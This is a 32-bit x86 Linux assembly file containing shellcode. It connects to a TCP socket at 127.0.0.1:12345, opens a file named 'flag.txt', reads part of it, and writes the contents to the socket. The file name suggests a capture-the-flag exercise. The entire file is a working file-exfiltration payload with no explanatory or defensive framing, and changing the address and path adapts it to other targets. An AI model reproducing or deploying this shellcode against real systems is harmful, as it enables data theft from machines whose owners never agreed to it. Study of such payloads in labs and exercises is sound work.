bits 32

section .text
global _start

_start:

_socket:                ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    push 6              ; IPPROTO_TCP
    push 1              ; SOCK_STREAM
    push 2              ; AF_INET
    mov eax, 0x66       ; sys_socketcall
    mov ebx, 1          ; sys_socket
    mov ecx, esp        ; pointer to args
    int 0x80            ; syscall

    mov edi, eax        ; sockfd

_connect:
    push 0x0100007f     ; ip = 127.0.0.1
    push word 0x3930    ; port = 12345
    push word 2         ; AF_INET
    mov ecx, esp        ; store the address of struct
    push 16             ; addrlen
    push ecx            ; pointer to structure
    push edi            ; sockfd
    mov eax, 0x66       ; sys_socketcall
    mov ebx, 3          ; sys_connect
    mov ecx, esp        ; pointer to args
    int 0x80

    jmp filename

_openat:                ; int openat(int dirfd, const char *pathname, int flags, mode_t mode);
    mov ebx, -100       ; int dirfd = AT_FDCWD (-100)
    pop ecx             ; pathname = filename
    mov edx, 0x0        ; flags = O_RDONLY
    mov esi, 0x0        ; mode = 0
    mov eax, 0x127      ; syscall id for openat
    int 0x80

_iovec:                 ; rsp points to the beginning of "struct iovec"
    mov ecx, esp        ; buffer's address
    push 100            ; iov_len
    push ecx            ; iov_base

_readv:                 ; ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
    mov ebx, eax        ; int fd
    mov ecx, esp        ; iovec *iov
    mov edx, 1          ; int iovcnt = 1
    mov eax, 0x91       ; syscall id for readv
    int 0x80

_writev:                ; ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
    mov ebx, edi        ; int fd = sockfd
    mov ecx, esp        ; iovec *iov
    mov edx, 1          ; int iovcnt = 1
    mov eax, 0x92       ; syscall id for writev
    int 0x80

_exit:
    mov eax, 0x01       ; syscall id for exit
    int 0x80

filename:
    call _openat
    db "flag.txt", 0x00

